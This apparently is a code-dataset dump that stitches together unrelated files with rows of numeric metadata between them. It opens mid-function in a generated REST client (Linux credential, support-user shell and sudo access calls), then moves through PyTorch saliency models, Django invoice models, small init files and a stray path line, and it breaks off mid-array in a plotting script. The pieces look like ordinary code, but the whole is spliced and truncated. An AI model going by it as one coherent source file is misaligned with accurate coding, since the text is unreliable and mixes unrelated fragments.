# Prepare headers
self.logger.info('Preparing headers for update_linux_credentials.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for update_linux_credentials.')
_request = self.http_client.put(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='update_linux_credentials')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for update_linux_credentials.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
UpdateLinuxPasswordResult.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def linux_support_user_bash_shell_access(self, body):
"""Does a PUT request to /public/users/linuxSupportUserBashShellAccess.
Requests Linux 'support' user bash shell access.
Args:
body (LinuxSupportUserBashShellAccessReqParams): Request to update a View.
Returns:
LinuxSupportUserBashShellAccessResult: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('linux_support_user_bash_shell_access called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for linux_support_user_bash_shell_access.')
self.validate_parameters(body=body)
# Prepare query URL
self.logger.info('Preparing query URL for linux_support_user_bash_shell_access.')
_url_path = '/public/users/linuxSupportUserBashShellAccess'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for linux_support_user_bash_shell_access.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for linux_support_user_bash_shell_access.')
_request = self.http_client.put(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='linux_support_user_bash_shell_access')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for linux_support_user_bash_shell_access.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
LinuxSupportUserBashShellAccessResult.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
def linux_support_user_sudo_access(self, body):
"""Does a PUT request to /public/users/linuxSupportUserSudoAccess.
Requests Linux 'support' user sudo access.
Args:
body (LinuxSupportUserSudoAccessReqParams): Request to update a View.
Returns:
LinuxSupportUserSudoAccessResult: Response from the API. Success
Raises:
APIException: When an error occurs while fetching the data from
the remote API. This exception includes the HTTP Response
code, an error message, and the HTTP body that was received in
the request.
"""
try:
self.logger.info('linux_support_user_sudo_access called.')
# Validate required parameters
self.logger.info(
'Validating required parameters for linux_support_user_sudo_access.')
self.validate_parameters(body=body)
# Prepare query URL
self.logger.info('Preparing query URL for linux_support_user_sudo_access.')
_url_path = '/public/users/linuxSupportUserSudoAccess'
_query_builder = self.config.get_base_uri()
_query_builder += _url_path
_query_url = APIHelper.clean_url(_query_builder)
# Prepare headers
self.logger.info('Preparing headers for linux_support_user_sudo_access.')
_headers = {
'accept': 'application/json',
'content-type': 'application/json; charset=utf-8'
}
# Prepare and execute request
self.logger.info(
'Preparing and executing request for linux_support_user_sudo_access.')
_request = self.http_client.put(
_query_url,
headers=_headers,
parameters=APIHelper.json_serialize(body))
AuthManager.apply(_request, self.config)
_context = self.execute_request(_request, name='linux_support_user_sudo_access')
# Endpoint and global error handling using HTTP status codes.
self.logger.info('Validating response for linux_support_user_sudo_access.')
if _context.response.status_code == 0:
raise RequestErrorErrorException('Error', _context)
self.validate_response(_context)
# Return appropriate type
return APIHelper.json_deserialize(_context.response.raw_body,
LinuxSupportUserSudoAccessResult.from_dictionary)
except Exception as e:
self.logger.error(e, exc_info=True)
raise
| 41.207308 | 124 | 0.605512 | 5,924 | 55,259 | 5.423363 | 0.053511 | 0.040463 | 0.047498 | 0.042237 | 0.820966 | 0.787257 | 0.774402 | 0.757532 | 0.744833 | 0.731169 | 0 | 0.001376 | 0.329394 | 55,259 | 1,340 | 125 | 41.23806 | 0.865612 | 0.298847 | 0 | 0.651128 | 0 | 0 | 0.192131 | 0.053467 | 0 | 0 | 0 | 0 | 0 | 1 | 0.031579 | false | 0.004511 | 0.022556 | 0 | 0.081203 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
acf0a871528321495731aac966d8add3d5ebfe7f | 16,454 | py | Python | SimpleNet/model.py | chhanganivarun/saliency | a9edbd7d89d1e170bfb5056eb48e7a103d489995 | [
"MIT"
] | 29 | 2020-03-15T12:06:58.000Z | 2022-02-01T09:40:48.000Z | SimpleNet/model.py | chhanganivarun/saliency | a9edbd7d89d1e170bfb5056eb48e7a103d489995 | [
"MIT"
] | 16 | 2020-03-18T07:26:36.000Z | 2022-03-12T00:44:07.000Z | SimpleNet/model.py | chhanganivarun/saliency | a9edbd7d89d1e170bfb5056eb48e7a103d489995 | [
"MIT"
] | 13 | 2020-03-15T12:07:00.000Z | 2021-10-30T14:42:59.000Z | import torchvision.models as models
import torch
import torch.nn as nn
import torch.nn.functional as F
import sys
sys.path.append('../PNAS/')
from PNASnet import *
from genotypes import PNASNet
class PNASModel(nn.Module):
def __init__(self, num_channels=3, train_enc=False, load_weight=1):
super(PNASModel, self).__init__()
self.path = '../PNAS/PNASNet-5_Large.pth'
self.pnas = NetworkImageNet(216, 1001, 12, False, PNASNet)
if load_weight:
self.pnas.load_state_dict(torch.load(self.path))
for param in self.pnas.parameters():
param.requires_grad = train_enc
self.padding = nn.ConstantPad2d((0,1,0,1),0)
self.drop_path_prob = 0
self.linear_upsampling = nn.UpsamplingBilinear2d(scale_factor=2)
self.deconv_layer0 = nn.Sequential(
nn.Conv2d(in_channels = 4320, out_channels = 512, kernel_size=3, padding=1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer1 = nn.Sequential(
nn.Conv2d(in_channels = 512+2160, out_channels = 256, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer2 = nn.Sequential(
nn.Conv2d(in_channels = 1080+256, out_channels = 270, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer3 = nn.Sequential(
nn.Conv2d(in_channels = 540, out_channels = 96, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer4 = nn.Sequential(
nn.Conv2d(in_channels = 192, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer5 = nn.Sequential(
nn.Conv2d(in_channels = 128, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels = 128, out_channels = 1, kernel_size = 3, padding = 1, bias = True),
nn.Sigmoid()
)
def forward(self, images):
batch_size = images.size(0)
s0 = self.pnas.conv0(images)
s0 = self.pnas.conv0_bn(s0)
out1 = self.padding(s0)
s1 = self.pnas.stem1(s0, s0, self.drop_path_prob)
out2 = s1
s0, s1 = s1, self.pnas.stem2(s0, s1, 0)
for i, cell in enumerate(self.pnas.cells):
s0, s1 = s1, cell(s0, s1, 0)
if i==3:
out3 = s1
if i==7:
out4 = s1
if i==11:
out5 = s1
out5 = self.deconv_layer0(out5)
x = torch.cat((out5,out4), 1)
x = self.deconv_layer1(x)
x = torch.cat((x,out3), 1)
x = self.deconv_layer2(x)
x = torch.cat((x,out2), 1)
x = self.deconv_layer3(x)
x = torch.cat((x,out1), 1)
x = self.deconv_layer4(x)
x = self.deconv_layer5(x)
x = x.squeeze(1)
return x
class DenseModel(nn.Module):
def __init__(self, num_channels=3, train_enc=False, load_weight=1):
super(DenseModel, self).__init__()
self.dense = models.densenet161(pretrained=bool(load_weight)).features
for param in self.dense.parameters():
param.requires_grad = train_enc
self.linear_upsampling = nn.UpsamplingBilinear2d(scale_factor=2)
self.conv_layer0 = nn.Sequential(*list(self.dense)[:3])
self.conv_layer1 = nn.Sequential(
self.dense.pool0,
self.dense.denseblock1,
*list(self.dense.transition1)[:3]
)
self.conv_layer2 = nn.Sequential(
self.dense.transition1[3],
self.dense.denseblock2,
*list(self.dense.transition2)[:3]
)
self.conv_layer3 = nn.Sequential(
self.dense.transition2[3],
self.dense.denseblock3,
*list(self.dense.transition3)[:3]
)
self.conv_layer4 = nn.Sequential(
self.dense.transition3[3],
self.dense.denseblock4
)
self.deconv_layer0 = nn.Sequential(
nn.Conv2d(in_channels = 2208, out_channels = 512, kernel_size=3, padding=1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer1 = nn.Sequential(
nn.Conv2d(in_channels = 512+1056, out_channels = 256, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer2 = nn.Sequential(
nn.Conv2d(in_channels = 384+256, out_channels = 192, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer3 = nn.Sequential(
nn.Conv2d(in_channels = 192+192, out_channels = 96, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer4 = nn.Sequential(
nn.Conv2d(in_channels = 96+96, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer5 = nn.Sequential(
nn.Conv2d(in_channels = 128, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels = 128, out_channels = 1, kernel_size = 3, padding = 1, bias = True),
nn.Sigmoid()
)
def forward(self, images):
batch_size = images.size(0)
out1 = self.conv_layer0(images)
out2 = self.conv_layer1(out1)
out3 = self.conv_layer2(out2)
out4 = self.conv_layer3(out3)
out5 = self.conv_layer4(out4)
assert out1.size() == (batch_size, 96, 128, 128)
assert out2.size() == (batch_size, 192, 64, 64)
assert out3.size() == (batch_size, 384, 32, 32)
assert out4.size() == (batch_size, 1056, 16, 16)
assert out5.size() == (batch_size, 2208, 8, 8)
out5 = self.deconv_layer0(out5)
x = torch.cat((out5,out4), 1)
x = self.deconv_layer1(x)
x = torch.cat((x,out3), 1)
x = self.deconv_layer2(x)
x = torch.cat((x,out2), 1)
x = self.deconv_layer3(x)
x = torch.cat((x,out1), 1)
x = self.deconv_layer4(x)
x = self.deconv_layer5(x)
x = x.squeeze(1)
return x
class ResNetModel(nn.Module):
def __init__(self, num_channels=3, train_enc=False, load_weight=1):
super(ResNetModel, self).__init__()
self.num_channels = num_channels
self.resnet = models.resnet50(pretrained=bool(load_weight))
for param in self.resnet.parameters():
param.requires_grad = train_enc
self.conv_layer1 = nn.Sequential(
self.resnet.conv1,
self.resnet.bn1,
self.resnet.relu
)
self.conv_layer2 = nn.Sequential(
self.resnet.maxpool,
self.resnet.layer1
)
self.conv_layer3 = self.resnet.layer2
self.conv_layer4 = self.resnet.layer3
self.conv_layer5 = self.resnet.layer4
self.linear_upsampling = nn.UpsamplingBilinear2d(scale_factor=2)
self.deconv_layer0 = nn.Sequential(
nn.Conv2d(in_channels=2048, out_channels=1024, kernel_size=3, padding=1, bias=True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer1 = nn.Sequential(
nn.Conv2d(in_channels = 2048, out_channels = 512, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer2 = nn.Sequential(
nn.Conv2d(in_channels = 1024, out_channels = 256, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer3 = nn.Sequential(
nn.Conv2d(in_channels = 512, out_channels = 64, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer4 = nn.Sequential(
nn.Conv2d(in_channels = 128, out_channels = 64, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer5 = nn.Sequential(
nn.Conv2d(in_channels = 64, out_channels = 64, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels = 64, out_channels = 1, kernel_size = 3, padding = 1, bias = True),
nn.Sigmoid()
)
def forward(self, images):
batch_size = images.size(0)
out1 = self.conv_layer1(images)
out2 = self.conv_layer2(out1)
out3 = self.conv_layer3(out2)
out4 = self.conv_layer4(out3)
out5 = self.conv_layer5(out4)
out5 = self.deconv_layer0(out5)
assert out5.size() == (batch_size, 1024, 16, 16)
x = torch.cat((out5,out4), 1)
assert x.size() == (batch_size, 2048, 16, 16)
x = self.deconv_layer1(x)
assert x.size() == (batch_size, 512, 32, 32)
x = torch.cat((x, out3), 1)
assert x.size() == (batch_size, 1024, 32, 32)
x = self.deconv_layer2(x)
assert x.size() == (batch_size, 256, 64, 64)
x = torch.cat((x, out2), 1)
assert x.size() == (batch_size, 512, 64, 64)
x = self.deconv_layer3(x)
assert x.size() == (batch_size, 64, 128, 128)
x = torch.cat((x, out1), 1)
assert x.size() == (batch_size, 128, 128, 128)
x = self.deconv_layer4(x)
x = self.deconv_layer5(x)
assert x.size() == (batch_size, 1, 256, 256)
x = x.squeeze(1)
assert x.size() == (batch_size, 256, 256)
return x
class VGGModel(nn.Module):
def __init__(self, num_channels=3, train_enc=False, load_weight=1):
super(VGGModel, self).__init__()
self.num_channels = num_channels
self.vgg = models.vgg16(pretrained=bool(load_weight)).features
for param in self.vgg.parameters():
param.requires_grad = train_enc
self.conv_layer1 = self.vgg[:7]
self.conv_layer2 = self.vgg[7:12]
self.conv_layer3 = self.vgg[12:19]
self.conv_layer4 = self.vgg[19:24]
self.conv_layer5 = self.vgg[24:]
self.linear_upsampling = nn.UpsamplingBilinear2d(scale_factor=2)
self.deconv_layer1 = nn.Sequential(
nn.Conv2d(in_channels = 1024, out_channels = 512, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer2 = nn.Sequential(
nn.Conv2d(in_channels = 1024, out_channels = 256, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer3 = nn.Sequential(
nn.Conv2d(in_channels = 512, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer4 = nn.Sequential(
nn.Conv2d(in_channels = 256, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer5 = nn.Sequential(
nn.Conv2d(in_channels = 128, out_channels = 128, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels = 128, out_channels = 1, kernel_size = 3, padding = 1, bias = True),
nn.Sigmoid()
)
def forward(self, images):
batch_size = images.size(0)
out1 = self.conv_layer1(images)
out2 = self.conv_layer2(out1)
out3 = self.conv_layer3(out2)
out4 = self.conv_layer4(out3)
out5 = self.conv_layer5(out4)
out5 = self.linear_upsampling(out5)
assert out5.size() == (batch_size, 512, 16, 16)
x = torch.cat((out5,out4), 1)
assert x.size() == (batch_size, 1024, 16, 16)
x = self.deconv_layer1(x)
assert x.size() == (batch_size, 512, 32, 32)
x = torch.cat((x, out3), 1)
assert x.size() == (batch_size, 1024, 32, 32)
x = self.deconv_layer2(x)
assert x.size() == (batch_size, 256, 64, 64)
x = torch.cat((x, out2), 1)
assert x.size() == (batch_size, 512, 64, 64)
x = self.deconv_layer3(x)
assert x.size() == (batch_size, 128, 128, 128)
x = torch.cat((x, out1), 1)
assert x.size() == (batch_size, 256, 128, 128)
x = self.deconv_layer4(x)
x = self.deconv_layer5(x)
assert x.size() == (batch_size, 1, 256, 256)
x = x.squeeze(1)
assert x.size() == (batch_size, 256, 256)
return x
class MobileNetV2(nn.Module):
def __init__(self, num_channels=3, train_enc=False, load_weight=1):
super(MobileNetV2, self).__init__()
self.mobilenet = torch.hub.load('pytorch/vision:v0.4.0', 'mobilenet_v2', pretrained=True).features
for param in self.mobilenet.parameters():
param.requires_grad = train_enc
self.linear_upsampling = nn.UpsamplingBilinear2d(scale_factor=2)
self.conv_layer1 = self.mobilenet[:2]
self.conv_layer2 = self.mobilenet[2:4]
self.conv_layer3 = self.mobilenet[4:7]
self.conv_layer4 = self.mobilenet[7:14]
self.conv_layer5 = self.mobilenet[14:]
self.deconv_layer0 = nn.Sequential(
nn.Conv2d(in_channels = 1280, out_channels = 96, kernel_size=3, padding=1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer1 = nn.Sequential(
nn.Conv2d(in_channels = 96+96, out_channels = 32, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer2 = nn.Sequential(
nn.Conv2d(in_channels = 32+32, out_channels = 24, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer3 = nn.Sequential(
nn.Conv2d(in_channels = 24+24, out_channels = 16, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer4 = nn.Sequential(
nn.Conv2d(in_channels = 16+16, out_channels = 16, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
self.linear_upsampling
)
self.deconv_layer5 = nn.Sequential(
nn.Conv2d(in_channels = 16, out_channels = 16, kernel_size = 3, padding = 1, bias = True),
nn.ReLU(inplace=True),
nn.Conv2d(in_channels = 16, out_channels = 1, kernel_size = 3, padding = 1, bias = True),
nn.Sigmoid()
)
def forward(self, images):
batch_size = images.size(0)
out1 = self.conv_layer1(images)
out2 = self.conv_layer2(out1)
out3 = self.conv_layer3(out2)
out4 = self.conv_layer4(out3)
out5 = self.conv_layer5(out4)
assert out1.size() == (batch_size, 16, 128, 128)
assert out2.size() == (batch_size, 24, 64, 64)
assert out3.size() == (batch_size, 32, 32, 32)
assert out4.size() == (batch_size, 96, 16, 16)
assert out5.size() == (batch_size, 1280, 8, 8)
out5 = self.deconv_layer0(out5)
x = torch.cat((out5,out4), 1)
x = self.deconv_layer1(x)
x = torch.cat((x,out3), 1)
x = self.deconv_layer2(x)
x = torch.cat((x,out2), 1)
x = self.deconv_layer3(x)
x = torch.cat((x,out1), 1)
x = self.deconv_layer4(x)
x = self.deconv_layer5(x)
x = x.squeeze(1)
return x | 36.242291 | 109 | 0.573842 | 2,110 | 16,454 | 4.308057 | 0.073934 | 0.063806 | 0.037404 | 0.067327 | 0.816942 | 0.79758 | 0.775908 | 0.743234 | 0.734873 | 0.69637 | 0 | 0.076567 | 0.304668 | 16,454 | 454 | 110 | 36.242291 | 0.717944 | 0 | 0 | 0.569149 | 0 | 0 | 0.004132 | 0.002917 | 0 | 0 | 0 | 0 | 0.079787 | 1 | 0.026596 | false | 0 | 0.018617 | 0 | 0.071809 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4a01cb19e48cb06ea6831681ce677d691c2fee27 | 208 | py | Python | sar_objects/__init__.py | goldmanm/atmospheric-sar-comparison | a0d84a27b0fd23a1ed592a6bc859e8d5b054fc47 | [
"MIT"
] | null | null | null | sar_objects/__init__.py | goldmanm/atmospheric-sar-comparison | a0d84a27b0fd23a1ed592a6bc859e8d5b054fc47 | [
"MIT"
] | null | null | null | sar_objects/__init__.py | goldmanm/atmospheric-sar-comparison | a0d84a27b0fd23a1ed592a6bc859e8d5b054fc47 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from atkinson2007 import sar as sar_a
from vereecken2009 import sar as sar_v
from orlando2003 import sar as sar_o
from mereau2000 import sar as sar_m
sars = [sar_a,sar_v,sar_o,sar_m] | 26 | 38 | 0.769231 | 40 | 208 | 3.8 | 0.4 | 0.236842 | 0.289474 | 0.368421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097143 | 0.158654 | 208 | 8 | 39 | 26 | 0.771429 | 0.100962 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4a0287a86b2fbb9578b7c13333948d663626f7ec | 4,052 | py | Python | entities/models.py | AdirthaBorgohain/Agency-CRM | 9e9f377c5967fdd20230ab8b558623dc2a1a6403 | [
"MIT"
] | null | null | null | entities/models.py | AdirthaBorgohain/Agency-CRM | 9e9f377c5967fdd20230ab8b558623dc2a1a6403 | [
"MIT"
] | null | null | null | entities/models.py | AdirthaBorgohain/Agency-CRM | 9e9f377c5967fdd20230ab8b558623dc2a1a6403 | [
"MIT"
] | null | null | null | from django.db import models
from datetime import datetime
# Create your models here.
CATEGORY_CHOICES = (
("Newspaper", "Newspaper"),
("Magazine", "Magazine")
)
LANGUAGE_CHOICES = (
("Assamese", "Assamese"),
("English", "English"),
("Hindi", "Hindi"),
("Bengali", "Bengali"),
("Others", "Others")
)
class Customer(models.Model):
id = models.CharField(max_length=8, primary_key=True)
name = models.CharField(max_length=100)
address = models.CharField(max_length=100)
contact = models.CharField(max_length=12, unique=True)
def __str__(self):
return self.name
@property
def encoded_id(self):
return self.id.replace('/', '__')
class Agent(models.Model):
id = models.CharField(max_length=8, primary_key=True)
name = models.CharField(max_length=100)
address = models.CharField(max_length=100)
contact = models.CharField(max_length=12, unique=True)
commission = models.DecimalField(max_digits=10, decimal_places=2)
def __str__(self):
return self.name
@property
def encoded_id(self):
return self.id.replace('/', '__')
class Product(models.Model):
name = models.CharField(max_length=20, unique=True)
language = models.CharField(
max_length=10, choices=LANGUAGE_CHOICES, default="Assamese")
category = models.CharField(
max_length=10, choices=CATEGORY_CHOICES, default="Newspaper")
price = models.DecimalField(max_digits=10, decimal_places=2)
def __str__(self):
return self.name
class Invoice(models.Model):
customer = models.ForeignKey(Customer, on_delete=models.CASCADE)
create_date = models.DateField()
start_date = models.DateField()
end_date = models.DateField()
additional_charges = models.DecimalField(max_digits=10, decimal_places=2, default=0)
grand_total = models.DecimalField(max_digits=10, decimal_places=2)
paid_amount = models.DecimalField(max_digits=10, decimal_places=2)
is_paid = models.BooleanField(default=False)
def __str__(self):
return self.customer.name + " (" + str(self.start_date.strftime("%B")) + ")"
@property
def bill_period(self):
return '{} -- {}'.format(self.start_date.strftime("%d/%m/%Y"), self.end_date.strftime("%d/%m/%Y"))
class Bill(models.Model):
agent = models.ForeignKey(Agent, on_delete=models.CASCADE)
create_date = models.DateField()
start_date = models.DateField()
end_date = models.DateField()
deductions = models.DecimalField(max_digits=10, decimal_places=2, default=0)
prev_balance = models.DecimalField(max_digits=10, decimal_places=2)
grand_total = models.DecimalField(max_digits=10, decimal_places=2)
paid_amount = models.DecimalField(max_digits=10, decimal_places=2)
is_paid = models.BooleanField(default=False)
def __str__(self):
return self.agent.name + " (" + str(self.start_date.strftime("%B")) + ")"
@property
def bill_period(self):
return '{} -- {}'.format(self.start_date.strftime("%d/%m/%Y"), self.end_date.strftime("%d/%m/%Y"))
class OrderDetails(models.Model):
invoice = models.ForeignKey(Invoice, on_delete=models.CASCADE)
product = models.ForeignKey(Product, on_delete=models.DO_NOTHING)
quantity = models.IntegerField()
price = models.DecimalField(max_digits=10, decimal_places=2)
net_price = models.DecimalField(max_digits=10, decimal_places=2)
def __str__(self):
return self.invoice.customer.name + " (" + str(self.invoice.start_date.strftime("%B")) + ")-" + self.product.name
class BillDetails(models.Model):
bill = models.ForeignKey(Bill, on_delete=models.CASCADE)
product = models.ForeignKey(Product, on_delete=models.DO_NOTHING)
quantity = models.IntegerField()
price = models.DecimalField(max_digits=10, decimal_places=2)
net_price = models.DecimalField(max_digits=10, decimal_places=2)
def __str__(self):
return self.bill.agent.name + " (" + str(self.bill.start_date.strftime("%B")) + ")-" + self.product.name
| 34.931034 | 121 | 0.695459 | 508 | 4,052 | 5.32874 | 0.181102 | 0.086443 | 0.10085 | 0.129664 | 0.762468 | 0.752124 | 0.727743 | 0.703362 | 0.687477 | 0.687477 | 0 | 0.019202 | 0.16461 | 4,052 | 115 | 122 | 35.234783 | 0.780502 | 0.005923 | 0 | 0.579545 | 0 | 0 | 0.047938 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.022727 | 0.125 | 0.806818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
c58cdbf221c6c8a82b0f7387741212b650f10f79 | 254 | py | Python | mastml/__init__.py | coleerickson/MAST-ML | 3b1335becdf616e5a7541d71b675f787605da048 | [
"MIT"
] | null | null | null | mastml/__init__.py | coleerickson/MAST-ML | 3b1335becdf616e5a7541d71b675f787605da048 | [
"MIT"
] | null | null | null | mastml/__init__.py | coleerickson/MAST-ML | 3b1335becdf616e5a7541d71b675f787605da048 | [
"MIT"
] | null | null | null | # Hide benign warnings
# https://github.com/numpy/numpy/pull/432/commits/170ed4e?diff=split
import warnings
warnings.filterwarnings("ignore", message=r".*numpy\.dtype size changed.*")
warnings.filterwarnings("ignore", message="numpy.ufunc size changed")
| 42.333333 | 75 | 0.783465 | 33 | 254 | 6.030303 | 0.666667 | 0.221106 | 0.281407 | 0.351759 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0.062992 | 254 | 5 | 76 | 50.8 | 0.806723 | 0.34252 | 0 | 0 | 0 | 0 | 0.396341 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
6816fcbad0dedeaad73384153b25add7cb155dca | 96 | py | Python | venv/lib/python3.8/site-packages/cryptography/hazmat/primitives/asymmetric/utils.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/cryptography/hazmat/primitives/asymmetric/utils.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/cryptography/hazmat/primitives/asymmetric/utils.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/b9/7d/f2/a389e0207769f5fe8fe4011898ec22b9256943898bfe1f24c8ffc71f2f | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.427083 | 0 | 96 | 1 | 96 | 96 | 0.46875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a8d580286fd6e40c8c83c0badc74cb88ced660ca | 1,039 | py | Python | extras/plot_confusion_matrix.py | SHANK885/PKNN-MIFS | 5e3e2ecd3719db2ed83f0c7a264950a914258670 | [
"MIT"
] | null | null | null | extras/plot_confusion_matrix.py | SHANK885/PKNN-MIFS | 5e3e2ecd3719db2ed83f0c7a264950a914258670 | [
"MIT"
] | null | null | null | extras/plot_confusion_matrix.py | SHANK885/PKNN-MIFS | 5e3e2ecd3719db2ed83f0c7a264950a914258670 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import seaborn as sn
import pandas as pd
import matplotlib.pyplot as plt
array = [[228, 0, 0, 1, 4, 27, 4, 3, 0, 1, 0, 0],
[ 0, 1, 0, 0, 0, 0, 0, 0, 0 , 0, 0, 0],
[ 0, 0, 1, 0, 1, 0, 0, 0, 0 , 0 , 0, 0],
[ 4, 0, 1, 15, 5, 3, 0, 1, 0 , 0 , 1, 0],
